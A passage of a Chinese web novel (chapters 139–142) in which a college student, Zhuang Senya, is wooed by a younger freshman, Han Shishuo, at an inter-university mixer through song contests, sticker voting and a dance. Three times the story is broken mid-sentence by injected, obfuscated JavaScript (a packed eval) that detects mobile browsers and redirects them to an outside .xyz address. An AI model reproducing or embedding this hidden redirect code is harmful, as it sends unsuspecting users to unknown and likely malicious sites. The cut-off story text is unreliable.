这时候,五分钟的计时器响了,主持人在讲台大声宣布,“时间到了,请各位同学离开现在的座位,聊得好也不用留恋,后面还有机会一起互动。现在换一位再进行五分钟的了解吧。” 听到这声通知,庄森芽对面的男生站了起来,朝她摆摆手,“姐姐,待会见。” 庄森芽也冲他挥手告别。 这短短的五分钟,她不知道被叫了几次姐姐,可能比她半辈子听到的都多。 没有弟弟的人对这个称呼还很新奇,有种莫名其妙收归了一名小弟的膨胀感。 在轮换的期间,她的手机响了,收到了一条来自陌生人的信息,是刚才新加的联系方式。 一个顶着白色小狗头像的人发来的消息:「我叫韩时朔,姐姐。」 出于礼貌,庄森芽也回了自己的名字过去。 最后一轮五分钟介绍结束之后,都聊得差不多了,主持人宣布进入互动活动环节。 学生们被分成了八个大组,每组坐在一起,推举出一个组长,在接下来的互动活动环节中,每组成员都要代表各自的组别参与各种赛制活动。 不知是巧合还是怎样,庄森芽所在的组别里有许多熟悉的面孔,首先是费洛和汪素文,他们就像连体婴儿一样,无时不刻一起出现;韩时朔也被分到了这一组,他十分自然地坐在庄森芽身边,像个小尾巴一样黏了上来。 这下有点难办了。庄森芽心想。 她原本是为了看别人的乐子而来到这里,从未想过要以身入局,可耐不住她对别人不感兴趣但别人对她感兴趣。 139. 没体验过这种 “姐姐……”韩时朔倾斜上身,拉近与她之间的距离,动作不带什么威胁性,纯粹得像白纸一张,所以也引不起提防的心思,“你有没有想要的奖品,我替你赢回来。” 互动活动环节,主办方将举行一系列赛制小活动,并为此设置了很多奖品,由获胜者赢取拿走。 奖品大多是生活用品一类,也有高科技数码产品,不过数量极少,基本都是要绞尽脑汁才能拿到的。 “不用,你赢来的奖品自己留着就好。”庄森芽对韩时朔说。 “可是我想送给你。” “我没什么需要的……” “姐姐这么快就对我不感兴趣了吗,连一点小小的殷勤都不肯接受……”他音色委屈了起来,用一双狗狗眼睛盯着她,“明明才交换了联系方式……” ……好难缠! 庄森芽以前没遇到过这种……怎么说呢,专攻人性弱点的追求者,她以前接触到的都是一些不怎么照顾他人感受的强攻选手,比如一言不合就强硬地告白,或者关系没到那个份上就开始产生一些逾矩的接触,像韩时朔这种软绵绵的精神攻击她是第一次碰见。 “呃不是……”庄森芽不知道该怎么说好了。 怎么才能委婉地让他不要再献殷勤?她只想在一旁吃瓜子看戏,而不是深陷其中变成被人看乐子的一员。 她求助似的看向对面,对面坐着的是她的好兄弟费洛和好舍友汪素文。 庄森芽用眼神直勾勾地盯着他们,直到两人注意到了她的视线。 ‘救我’,她用神情无声地诉说。 费洛先反应了过来她表达的意思,好兄弟十分仗义,借自己组长的身份,站起来吆喝着,“来大家,先都把手头的事情放一放,我们商量商量第一场歌唱比赛采取什么战术。” 第一轮互动活动是关键词献唱,每组需要派出一名成员上场。 每一轮,主持人会在大屏幕上公布一个关键词,八名参赛人员需要一个接一个唱出一句包含关键词的歌词,每个人有五秒机会,五秒内如果没有唱出来则退场。 八个人周而复始,直到场上剩下一个,这人便作为冠军代表整组的胜利。 “我们这组谁听过的歌最多?有没有人自告奋勇?”费洛问。 一组差不多有二十人,此刻都你看看我我看看你,没有人敢站起来,保证说自己是阅览群歌的那一个。 “我来吧。”这时候,庄森芽身边的韩时朔举起了手,“我以前经常和同学玩这种游戏,还算有经验。” 见他这么自告奋勇,费洛立刻锁定了这个对象,“那就是你了,小老弟,等下看你表演。” 韩时朔真挚地看向庄森芽,“姐姐,我会为你凯旋而归的。” “好,好,你加油。”她已经不知道该说什么好了,干巴巴为他加油打气。 八名参赛选手登上讲台,大屏幕上出现了第一个关键词,‘爱’,是非常简单的基础难度。 选手们依次登台歌唱,第一轮过去,无人遗憾退场,大家似乎都信誓旦旦。 这场比赛无关乎唱功,只比谁的歌曲储备量多,谁能从记忆深处充分调动它们,谁就是赢家。 歌唱比赛进行的如火如荼的时候,费洛摸到了庄森芽的身边,用自己的肩膀顶了顶她的肩膀,悄声问道:“怎么了,那个上去比赛的小老弟看上你了?” 庄森芽也压低了声音,像在和对方密谋,“他左一口姐姐右一口姐姐地叫,我不适应……” “我知道,奶狗型的。” “啥?” “没事,你知识盲区。” ……怎么感觉在骂人。 费洛又问:“所以你不想让他纠缠你呗?” “我就是来充数的,最好能给我个冰西瓜让我一边凉快去。” “懂,交给我吧。”费洛留下这句话,又蹭回了汪素文的身边。 几分钟过去,赛场上只剩下三个人了,两男一女,韩时朔仍在其中。不同于另外两人的愁眉苦脸,他依然是一副游刃有余的模样,似乎肚子里还有一大堆备选曲目。 又过去几分钟,倒数第三名选手下场了。 一分钟之后,场上只剩下了一个人。 主持人恭喜着最终的获奖选手,“这位是上茂外国语大学历史学专业的大一学生,韩时朔,刚才精彩的表现实在令人刮目相看,让我们掌声恭喜他成为这一轮歌唱比赛的第一名!” 掌声噼里啪啦响起,有人在底下起哄,喊着弟弟好帅,大抵是一些认识韩时朔的人在玩闹,陌生人是鲜有勇气开这种玩笑的。 韩时朔领了奖品回来,整组人都在为他庆贺,冠军不光会赢得个人奖品,也会为所在的组别增加积分,最终积分最高的一组还有额外奖励,所以他赢了大家都很高兴。 欢呼声中,韩时朔没什么意外地又坐在庄森芽的身边。 “姐姐,给你。”他上交自己赢来的奖品,就像打猎归来的新晋小猎人,在炫耀自己的猎物。 那是一条棉白色的围巾,装在一个顶面透明的精巧纸盒里,是冬日常配的装扮,在这个寒风呼啸的冬季,这样一件礼物来得正合时宜。 还没等庄森芽作何反应,对面的费洛站了起来,大大咧咧拿过韩时朔手里的礼盒,好奇地打量着,“这次联谊可真是破费了,这围巾看着可不便宜,不是什么地摊货。” 手里的东西被抢走,韩时朔看起来并不生气,他老老实实地在那坐着,等待费洛把东西交还给他。 费洛绕了一圈,来到韩时朔的背后,他一开始还在点评着围巾,但声音越来越小,俯身将手搭在在韩时朔肩膀时,说话声音几乎都已经听不见了。 “小老弟,我说,你要不还是换个目标吧,这位已经名花有主了。” 韩时朔坦然看着费洛,对于对方的劝阻并没表现出过多的意外,“可姐姐说她现在没有对象。” “没有对象不代表没有追求者,和他的追求者相比,你多少有点……小巫见大巫。”费洛斟酌着用词,脸上没有贬低的意味,“兄弟,我没有瞧不起你的意思,但追她的都是些狠人,一言不合有可能会扫清竞争者。” “是□□?”韩时朔有点跳脱地问。 “不是□□也胜似□□。”费洛再度压低声音,仿佛在讲什么鬼故事,“听说过哈里森大学的这届学生会主席吗。” “听说过,他名声很大,外国语的新生都知道他。” “不光名声大,他还在校园里一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853880|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手遮天,校园外也有遍布的势力,你不会想要和这种人成为对手的。”在费洛的口中,裴佑哲仿佛变成了什么令人闻风丧胆的危险人物。 韩时朔沉默了半晌,可他依然十分乐观,“这样的人追求姐姐,姐姐都没有答应,说明他不是她的菜,我还是有机会的。” “不是老弟你……”费洛似乎有点被他的积极震惊到了,“这可不是开玩笑啊,你要再纠缠下去,说不定哪天就被莫名其妙开除了。” “幸福只能由自己把握,这样的风险我愿意承担。”他十分坚定诚恳地说。 费洛明显无语了。 他抹了一把自己的脸,拍了拍韩时朔的肩,而后像个战败者一样来到庄森芽的这边,低声在她耳旁说:“狗哥对不起你,狗哥实在搞不定这个人。” 庄森芽在一旁隐隐约约也听到了两人的交谈,知道费洛已经尽力了,“没事,狗哥,我自己来吧。” 她想了想,又加上一句,“谢谢你,但如果有下次,你能不把我和佑哲牵扯在一起,我就更加感恩戴德感动涕零了。” “我懂你,我现在也不想跟他沾边,但这不是想着提他比较有威慑力……下次不提了。”费洛把手里的围巾礼盒交给了庄森芽,也拍了拍她肩膀,意思是‘看你自己的了’。 听他的意思,费洛和裴佑哲之间仍有芥蒂,关系还未缓和,仍处于对立面。 这给庄森芽一种裴佑哲正在把身边的人都推开的感觉。不管是她,还是和他勾肩搭背的兄弟费洛,似乎通通都变成了敌人。 就像一个带着善意假面的伪装者再难掩饰,露出了暗藏的獠牙,再也无法控制地去伤害旁人。 或许这便是裴佑哲的本质,离得太近就是会受到伤害。 费洛离开之后,韩时朔再度对庄森芽笑脸相迎,仿佛刚才浅发学长对他的那些告诫都是过眼云烟,“姐姐,我看他们还有电动牙刷,你需不需要?我帮你赢回来。” “不用了,你的好意我心领了,谢谢你。”庄森芽晃了晃手里的围巾礼盒,意思是有这个就够了,“你送我太多礼物,我会很为难的。” “我不求姐姐回报我什么,因为这些东西本来也是免费的,我不能仗着它们向你索要回报。” 年纪轻轻,还挺有原则…… “总之这一件就够了,你要是非得再送我些什么……”她斟酌片刻,十分认真地说道,“那就送我安静。我喜欢安静,你能静静待着的话,我会很感激你的。” “那我能一直待在你身边吗?” 她犹豫一瞬,“活动结束之前的话,可以。” 他笑起来,像有阳光打在脸上,满是年轻人的朝气,“好。” 可能是因为既定的年龄差距,还有那一声声的‘姐姐’,庄森芽感觉自己飘了,有了种可以掌控别人的快感,连话语都沾染了上位者的拿腔作调。 她以前哪里有过这种待遇啊,从小是家里的独苗,远房的同龄人都是哥哥姐姐,从来没有一个小弟小妹跟在她的屁股后面,嗲嗲地叫她姐,对她的话语唯命是从。 现在有一个长相可爱的弟弟试图弥补这块亏空,她还纠结什么?体验一把又不会掉一块肉。 打不过就加入,她决定享受。 140. 金毛犬有话要说 台上还在举办歌唱比赛,总共会进行三轮,每轮都要求各组上场不同的参赛选手,所以这回韩时朔没有机会再上场。 歌唱比赛之后,是俯卧撑持久赛,还是每组出一个代表参赛,选手们同一时间开始摆好姿势,面朝黄土,谁坚持的时间最长,谁就是赢家。 这项比赛大受欢迎,是个展现个人体魄的绝佳场合,男生们一个个鼓足了劲、憋红了脸,势要证明自己是耐力最强的那一个。 而胜者也无疑赢得了芳心几许,皆大欢喜。 持久赛后,是家喻户晓的你画我猜,由于人数众多,所以各组同时举行,由其他组别成员进行监督,答对数量最多的一组为冠军组。 庄森芽婉拒了所有项目,比起参与,她更喜欢在一旁乐呵呵地围观。而原本在第一轮比赛自告奋勇的韩时朔,因为庄森芽拒收他后续的礼物,但允许他在她身边待着,而乖巧得不像一个十七八岁的男孩子。 他一直很安静,就像她要求的那样,听话到庄森芽都开始有些于心不忍。 于是你画我猜比赛的时候,她朝他搭话,“时朔,你是学历史的?” 她叫了对方的名字,近乎自然而然。 可能面对年龄比自己小的男生时,就是会生出一种居高临下的掌控感,自主决定对他的称呼也是其中之一的体现。 “是的,姐姐。”而‘姐姐’这个称呼也变成了韩时朔的口癖,几乎每句话都要喊上一次,“我对过去发生的事情很感兴趣。” “你比我们都小一岁,是早上了一年学吗?” “不是,我小时候生了一场病,8岁才上小学,但后来连跳了三年级。” “连跳三年,你神童吗。”庄森芽瞠目结舌,这种人她只在新闻里见过。 韩时朔笑了笑,酒窝浮现了出来,大方与腼腆和谐地并存,“我不是神童,神童小学的时候是不会考年级倒数第一的。” “意思是你本来学习不好,但是哪怕是在这种情况下,还是比大部队早上了一年大学?” “是的。” ……那四舍五入不还是神童的意思吗?! 难怪年纪轻轻就有了白头发,原来不是个普通人。 得知对方在学术方面的天赋,庄森芽感觉自己可能是慕强癖犯了,反而追着人家问:“你生了什么病,怎么会晚上了两年学?” “脑膜炎。当时没有得到及时的治疗,病情拖得有点严重,那段时间经常往重症监护室跑,几乎没怎么呼吸过外面的空气,白头发也是那时候长的。”他说着,再度随手一拨自己鬓角,几缕刺眼的银丝一晃而过,“不过这些都是家里人告诉我的,我自己并不记得了。康复之后,疾病在身体里留下了后遗症,我在8岁之前的记忆是空白的。” 原来是因为生病才有白头发……庄森芽想道。 “你不记得小时候的事情了?”她问。 “不记得。在哪里上幼儿园,玩过什么玩具,去过什么地方,交过什么朋友,统统不记得了。”韩时朔说这些的时候,面色很平静,就仿佛那些都是发生在别人身上的事情,他有没有可以回忆的童年都无所谓。 “妈妈说我醒来之后好像变了一个人,可是我根本不知道以前的自己是什么样子。”他垂下眼睛,说了这么多,这是第一次露出茫然的神色。 庄森芽盯着这个看起来很坚强的男孩,想说点什么安慰的话,可是嘴巴却像是被水泥封住了一样,硬得直想扇自己两巴掌。 可能就像某些人说的那样,她这个人从心到嘴巴都是石头做的,所以才会在这样一个明显该说点安慰或者鼓励话语的节点连个屁都放不出来。 韩时朔看起来并不是那种喜欢哭哭啼啼还喜欢撒娇的懦弱性格,但却无缘无故给人一种易碎感,就像用很多块胶条密封的玻璃瓶子,骄傲地立在窗边,坦然接受风水雨打,看起来完好无损、坚韧不屈,但胶条下全都是自己也觉察不到的裂痕。 她怕自己的棱角会伤害到对方,因为,他看起来可不像一些百折不挠又死皮赖脸的人,怎么说重话、甩脸色都没关系。韩时朔一看就是那种会因为一句话而敏感多虑的类型。 尽管他们只是短暂地接触了不到半日,但这个男生就是给她留下了这样的印象。 毕竟,不是都说,天才普遍是极其敏感的吗? “我说这些,也并不是想要博得姐姐的同情。”他就像是看出了庄森芽因为什么而半晌无言,主动开口化解了这个难题,“只是刚好聊到了这里,单纯希望你能多了解我一点。” 居然看穿了她心中所想,这个韩时朔不得了。 可越是了解到对方的厉害之处,一个疑惑就在她的脑海里愈发清晰。 “时朔,我开始不懂了……你学习这么厉害,人长得也不赖,脑袋还这么聪明,怎么会没有女朋友呢?” 说完她就知道自己多余问这个问题,对方肯定是因为一心投入在学习上,没有功夫谈恋爱。 “姐姐现在是不是在想,我一定是因为学习的原因而没有找对象。”韩时朔的眼睛亮亮的,像是颗温润的珠子一样,里面饱含着笑意。 他有读心术,他绝对有读心术!庄森芽在心里如此肯定。 “但不是哦,我其实并不怎么喜欢学习,作业也经常不写。”他发出非常凡尔赛的声音,“至于我为什么没有和任何人走进情侣关系……可能就是为了今天能够来到这个联谊会上见到你吧。” “你……”她无奈地叹息,几乎想捂住自己的脸。 韩时朔在另一边笑得开心,“原来姐姐听不得情话,这个特点我记下了。” 不要记一些奇奇怪怪的东西啊! 另一边,你画我猜活动进入了尾声,主持人宣布最终的获奖组别,而后开始根据积分为各组颁奖,气氛好不热闹。 联谊会终于来到了最后一个环节——评分。 男女双方将要匿名给异性贴条,每个人手里都有‘形象最佳’、‘最想交往’,以及‘人缘最好’这三张贴纸,具体贴给谁由个人自由决定。 主持人召唤男生们集合,在离开之前,韩时朔对她说:“你会给我贴上贴纸吗,姐姐?” 庄森芽回答他:“我会把‘人缘最好’给你。” 这句话没有半点谎言,而且她也认为这个韩时朔在平日生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853881|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活里人际关系应该还不错,就从他进退自如的表现来看,大抵也是个社交方面的人精。 男生们在场地的一侧聚拢,而后站成一排,像是边界线上守卫军一样,背对着正在交头接耳嬉笑的女生们。 她们也排成一列,像涓流一样在男生们的背后经过,而后把贴纸悄然留在中意者的背后。 庄森芽拿着手里的三张贴纸,‘人缘最好’的名额已经给了韩时朔,‘形象最佳’的话她打算留给自己的好兄弟费洛,至于‘最想交往’……她还是自己留着吧,主办方又没说三张贴纸都必须终有归宿。 人流在向前行进,韩时朔所在的位置比较靠后,她先遇上了费洛。 到了好兄弟身后,庄森芽直接一个双眼大睁,差点感叹出声。 黄毛的背后贴着一层密密麻麻的贴纸,几乎把他贴成了一个穿山甲。 放眼望去,百分之九十都是‘形象最佳’贴,还有几个零散的‘人缘最好’,以及几乎找不到的‘最想交往’。 看来大家的审美都很统一……费洛的确在打扮自己方面很有一手,今天的穿搭可以说鹤立鸡群。 别人都裹着吸热的黑羽绒服,他穿浅色系的棉夹克,别人戴围巾,他戴装饰帽,别人穿棉鞋,他穿小皮鞋,主打一个受冻也要维持帅气,可谓极度敬业,学生会外联部形象大使的名号不是说说而已。 只不过大家也不是傻子,承认他是个好看的花瓶,不代表都想和花瓶交往,从那屈指可数的‘最想交往’贴条就能看出众人的态度。 庄森芽感慨地摇摇头,能把技能树点得这么歪,她的好兄弟也是个奇男子。 她揭掉底纸,啪一下子把贴条粘在了对方的背上,为本就厚重的山丘再垒一抔土。 费洛因为这一掌吓了一跳,毕竟评分属于匿名环节,大家行动都比较轻柔私密,明目张胆的属于少数。 他回头,发现是庄森芽后,嬉笑着作势要把自己手里的贴纸贴她脑门上,庄森芽见状一个矮身逃了。 队伍行进着,不过多久,她来到了韩时朔身后。 他身上的贴纸没有几张,但也难怪,这个男孩整场联谊都在围着她转,几乎没和别的女生说过话,登台参与活动的次数也只有一次。 茫茫百号人中,就算有人注意到了他,也会因为接触不够而不采取行动,毕竟贴纸是匿名的,就算给了他,他也不知道。 这倒让庄森芽有些不是滋味,有种拖累了他的感觉。 早知道‘形象最佳’就不给费洛了……反正他也不缺那一张。 庄森芽揭掉了‘人缘最好’的底纸,正要往他背后贴,然而就像风带去了意图,韩时朔似乎感知到了她,蓦然转过头来,冲她微笑。 “谢谢。”他轻声说着。 被当场发现,庄森芽倒是没觉得难为情,毕竟这是一早就承诺给对方的。 不过,韩时朔的反应有点吓到她了,男孩仿佛拥有着高于常人的灵性,仿佛有一双能从高处视察的眼睛,周围人的一举一动都在他的眼中,心思也能看破,简直敏锐得不像正常人。 庄森芽快走了两步,离开了他的视线范围。 141. 这事要从高中算起 手里还有最后一张‘最想交往’的贴纸,她把它揣进口袋里,今天是不打算再让它问世了。 女生给男生贴完之后,轮到男生给女生贴条。 她们排成一排,而男生们重复着她们做过的事情。 庄森芽盯着窗外的景色,心情平静地走着这个过场。 某一刻,背后感受到了轻微的触碰,应该是有人在她背后贴条了。 没过多久,又是一个,然后,再一个。 她有些好奇是谁留下了贴纸,也对是哪种纸条感兴趣。 能设想到的人就那么几个——费洛、韩时朔、外联部的伙伴们,以及在活动最开始的五分钟自我介绍环节碰到的几个男生,其他的人她连脸都陌生,更没有什么直接的接触。 临近队尾的时候,她感受到了三次轻柔的触碰,三次都对应着心房的位置。 如果没猜错的话,这个应该就是韩时朔了,他说了会把三张纸条都留给她。 紧接着传来的声音也验证了她的猜测。 “姐姐,你果然很受欢迎。” 庄森芽微微侧过头,瞥见韩时朔的身影时,他已经走远了。 ……很受欢迎?这是什么意思? 贴条环节正式结束,组员们再度汇聚到一起,把肉眼可见盆满钵满的人推举了出去。主办方揭掉这些大受欢迎的人的纸条,开始统计起数据。 而那些一看就没有收获多少的人,则彼此帮助着把身后的纸条揭掉,如数家珍地清点着,互相猜测是谁给自己留下了暗示。 汪素文找了过来,她终于不和费洛如胶似漆了,原因是金毛犬当下正立在讲台上,负责人员在他身旁满头大汗地清点他荣获的贴纸数量。 “森芽,你有好多!”汪素文帮她撕掉了背后的纸条,音色惊讶地感叹,“我觉得你应该找段姐也给你数数,说不定能夺冠呢。” 看着汪素文手里捧过来的十几个纸条,庄森芽也有点讶异。 有这么多?可为什么她感觉只有几个人在她背后蜻蜓点水而过…… 她数了数,惊讶地发现居然是‘最想交往’居多,‘人缘最好’只有一个,恐怕还是韩时朔留给她的。 这真的不是什么恶作剧吗,平时她怎么没觉得有多少人想跟她交往? 身边除了几个特定的纠缠不久的人以外,她似乎就没有什么别的桃花了。 专业同学、学生会的同僚,他们都和她保持着十分礼貌的距离,看起来对她一点那方面的想法都没有,她还以为是自己天生没有让人追求谈恋爱的欲望。 然而,在这人生地不熟的联谊会上,在这个她撑死能叫出五六个熟人名字的外校场地,却有这么多人对她表达了想要交往的意愿,这种事情只会让人非常地匪夷所思。 “森芽还真是受欢迎啊。”汪素文说道,笑容和她在宿舍养的小仓鼠一样可爱。 听到舍友也和韩时朔朔了相似的话,庄森芽不禁疑惑地问:“我很受欢迎吗?” “当然,你自己没感觉吗?” “我倒是觉得别人都躲着我走。” 刚开始入学的时候还好,可不知道从什么时候开始,或者说特别是那个学生会主席公布她是《灵月十四》的作者之后,她就能明显感觉出来有些路人会避开她,就像躲瘟神一样。 “怎么会,“汪素文显然不太相信,“我小组作业的同学,还有雏鸟周的小伙伴们,他们都对你印象很好。我说我是你的舍友,甚至还能沾到你的光呢,他们都请我吃东西,要我讲讲你的故事。” 庄森芽听明白了。 哪里是什么受欢迎,这分明就是想听她的八卦。 汪素文完全理解错了。 不过她也不忍心揭穿自己善良可爱的舍友,于是将这个话题按下不表。 讲台上,负责人员统计完了贴条数据,六名得分最高的男男女女光荣地站在台面上,主持人依次介绍他们,给几人有模有样地颁奖。 毫无意外地,费洛拿到了男生最佳形象奖;而男生最佳人缘奖则颁发给了另一名上茂哈里森大学的学生,他皮肤呈现健康的小麦色,不是学生会的人,看起来是个当真来参加联谊的体育生。 “可惜,上茂哈里森大学在这个轮的竞争中稍显颓势,另外四名获奖成员均来自上茂外国语大学——” 接下来的内容庄森芽就没怎么听了,因为费洛在领完奖之后就回到了座位上,把汪素文从她身边抢走了,而韩时朔也恰到好处地出现,弥补了她身旁的空缺。 “姐姐。”还是经典称呼作为开场白,手里拿着两杯气泡饮料,一杯递给她,“常温的,不凉。” 庄森芽倒是对冬天喝冰水没什么障碍,不过还是谢过他的体贴。 “时朔,我有个唐突的问题。”她斟酌着言语,但发现自己没多少这方面的天赋,撑死只能像炒菜一样翻个面,把正常语序句改成倒装句,把反问句改成肯定句,其表达的意思并没有委婉多少,“但我想你一个天才一定会体谅愚钝的我。” “你问,只要是我能知道的,都会回答你。” 庄森芽直视他温和的眼睛,年纪比对方大给了她不少勇气,“你,呃,你喜欢我?” “当然的。” “喜欢哪里?” 她实在是想不明白。 这些莫名其妙的‘最想交往’贴纸也好,这个粘着她不放的小男生也罢,都让她感到无法理解。 被问到这个问题,韩时朔没有表现出羞涩,反而十分坦诚地描述起来,“大概是第一眼看到时候的感觉?” “你喜欢怪人?” “姐姐不怪。” “到底哪里吸引你了?” “各方各面。” 庄森芽皱起狐疑的眉头,身体向后缩去,这是不敢相信的表现。 韩时朔一笑,“姐姐干嘛摆出一副对自己的魅力毫无自知的模样。” 她干巴巴地眨眼。 魅力?从来没有人把她和这个词联系在一起。 韩时朔盯着她的脸,渐渐也反应过来什么,有点迟钝地开口,“还真是……没有自知?” 自知什么? 放眼整个上茂哈里森大学,就没有一个人喜欢她。 大学都开学好几个月了,宿舍楼门口现在都是成双入对,她呢,连一次被表白的经历都没有——当然,在校外发生的那些不算。 就算再以自我为中心的人,面对这样血淋淋的现实,也该修正自己的认知了,结论就是不招人喜爱。 “就是因为喜欢我的人很少,所以我才好奇你看上我哪里了……” 韩时朔疑惑,“难道学校里没有很多人追求你吗?” 庄森芽摇摇头,“见了我不跑就不错了。” 他目光移向别处,看起来是在思考,半晌后,说道:“我好像有点懂了……” “懂什么?” “应该是有人在姐姐身旁,遮挡了你的光芒。” 庄森芽皱眉,她完全听不懂韩时朔的话,“小天才,你说得我云里雾里的。” 韩时朔又露出可爱的笑容来,“就是说,姐姐身边有小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“有那么明显吗……”庄森芽嘀咕着,摸着自己的脸,而后又说,“没事,就是有些事还没解决。” “是能说给我听的吗?” 庄森芽想了想,自己对韩时朔其实并不了解,在隐蔽的计划还没有得到落实的当下,最好知道的人越少越好,“应该……不太可以。” 听到拒绝,韩时朔并没有表现出不高兴,而是说道:“好吧,既然帮不上具体的忙,我也只好尽我可能让姐姐开心一点。” 说着,他坐直了,朝庄森芽伸出一只手来,半个手掌都缩在袖口里,只露出几根细长骨感的手指,也就只有这些细节的外表上,他给人一种稚气未消的感觉。 庄森芽盯着他的手,发出疑惑的声音,“做什么?” “我们去跳舞吧。” “……啊?” 就在她因为对方的提议而困惑时,主持人的声音灌入了耳中。 “接下来就是最令人期待的单身舞会环节了!同学们,让我们移动脚步,带着尚且没有说完的话语,以及对那个人的恋慕,投身于今夜的狂欢之中吧!” 他话音落下,学生们开始鼓掌,看起来兴致昂扬。工作人员在场地门口吆喝着,为人们引导通往舞会的道路。 庄森芽直愣愣看着这一切,脑海里一片茫然。 等等……她怎么不知道还有这个环节? 142. 心在别处 联谊的活动策划书早就被她底朝天似的翻过一遍,半个‘单身舞会’的字眼都没看到,它是怎么突然冒出来的? “姐姐,走吧,去晚了好地方都要被人占了。”韩时朔温柔地执起她的手,拉着她往场地外面走。 “等——时朔……” 男生年龄虽小,力气却不小,庄森芽没什么反抗的余地就被拉走了,只好临走前赶忙捎上自己的东西。 舞会的场地在另一栋建筑,需穿过一条镶满了彩色玻璃的长廊,走过一道高耸的大门,穿过颇有卢浮宫气息的大厅,然后才能来到舞会的正式场所。 这是一个以金色为主的巨大舞厅,窗户都是圆拱形的,两边装饰着复杂的红色垂地窗帘,巨型的水晶吊灯像是气球一样被吊在房顶,房顶是一整副油画,上面画着一个泛青的湖泊,四周是浓郁的密林。 刚进入这个场馆的时候,所有人都在连连赞叹。 庄森芽也不由得被眼前所见震惊。 这哪里还是在什么学校,她感觉自己来到了欧洲某个上流家族的聚会厅,四处都充斥着奢华的气息。 这让人不禁疑惑,上茂外国语大学的教学质量究竟如何,钱都花在了哪里,是否不务正业。 但反正又不是自己上的大学,这样的问题只闪过一瞬,一下子就被抛到了脑后。 蜡烛在餐桌上燃烧着,冬日的夜总是来得很快,人们不得不打开所有的照明系统,以来推迟一日的尾声。 场地内摆着十几个圆桌,上面全都是免费自取的酒水小食,不知从哪请来的乐队在舞台上已经做好了准备,轻缓的琴声响了起来,拉开了舞会的序幕。 学生们涌入了这富丽堂皇的厅堂,脸上洋溢着热情的红晕,主持人已经隐去了身形,接下来的时光由个人自己把握。 庄森芽被韩时朔引到了场地的一侧,在一旁的白色皮革座椅上放下了随身的物件,而后,他们成对地来到翩翩起舞的人群之中。 “姐姐会跳舞吗?”韩时朔与她面对面站着,一只手虚扶着她的,仿佛在没有得到她的允许之前不会有任何动作。 庄森芽有点犹豫地看向周围。 这场舞会不在她的计划之中。 按照计划,这个时候的她已经踏上了回家的路,准备去问问爸妈这些年光曙公司和腾滨集团的纠葛。 然而,现在,她却是在这里。 一个舞会上,和一个刚认识不到半日的男生纠缠在一起。 她感觉有点荒诞,有种时间在弃她而去的恐慌。 就像偏偏在重要的考试之前拖延,没在复习却在玩手机,面前摊开着空白的复习试题,每一个印刷的墨字都在令人焦灼地叫嚣着:不要再荒度。 “姐姐。”突然,韩时朔上前一步,占据了她的视野。他高出她半个脑袋,视觉上并没有相差多少,当他低下头来的时候,一双水汪汪的杏眼向上看着,竟显得无辜,“你的焦虑都快要把我灼伤了。” “呃,我……” “就一支舞,我保证会让你心情好起来。跳完之后,我就送你回学校,好不好?” 看着韩时朔的眼睛,庄森芽发现自己没办法拒绝。 她有点自暴自弃地想,那就一支舞吧,反正应该要不了多久。 既来之则安之,再给她片刻的喘息,让她沉醉于欢愉的气氛之中,而不去想那之后的种种。 “你问我会不会跳舞?我一点也不会。”她如实说道。 “那真是太好了。”韩时朔兴高采烈,还以为他要说什么,结果却是,“因为我也不会。” 她被对方逗笑了,“那怎么跳?” “要不跟着音乐随便走走吧。” 于是乎,两个一看就毫无运动细胞的人行动了起来。 他们摆出了一个并不标准的男女起始舞姿,韩时朔一手拖着她的手,一手轻揽着她的腰,可到这里却停住了,仿佛不知道怎么进行下一步。 对于韩时朔的接触,庄森芽并不抗拒。男生的触碰总是小心翼翼,充满了试探,反而没什么威胁性,而她向来只对强硬和霸道产生抵触,对于无害的触碰神经略显大条。 片刻的局促过后,两人尽量放松身体,随着鼓点的节奏,开始横着走来走去,模样看起来像是刚出生在学走路的螃蟹。 怪异的舞姿吸引了旁人的注目,然而当事人们却不以为意。 “哈哈,舞好难跳。”韩时朔上身都是僵硬的,像个刚刚恢复出厂设置的人工智能机器人,因自己的窘态而笑得不亦乐乎。 庄森芽也在和自己的两腿做斗争,在驯服它们不要缠在一起。因为屡次失败,她也半是羞恼半是没辙地笑了,“不是你提出要跳舞吗,怎么跳得比我还烂。” “理论知识都在脑海里,可是践行起来还是有难度。” “看来天才也有做不到的事情。” “生病之后,身体一直都不怎么听我的使唤,走路的时候四肢都不协调……”说着,他话题一转,又露出一副楚楚可怜的神情,“姐姐会因为这点嫌弃我吗?” 庄森芽受不来这样的精神攻击,连忙摇摇头,“怎么会,我的运动神经也很不发达。” “可姐姐只是站在那里就已经很美了。”他说完,抓住庄森芽的一只手腕,抬高它,带着她原地转了一圈。 庄森芽只觉得自己像是炭火上的烤乳猪,身体僵硬地旋转了三百六十度,正正好好把所有的面都烤熟了,临末了,她还踩了自己一脚,一下子扑在韩时朔的身上,这才堪堪稳住了身型。 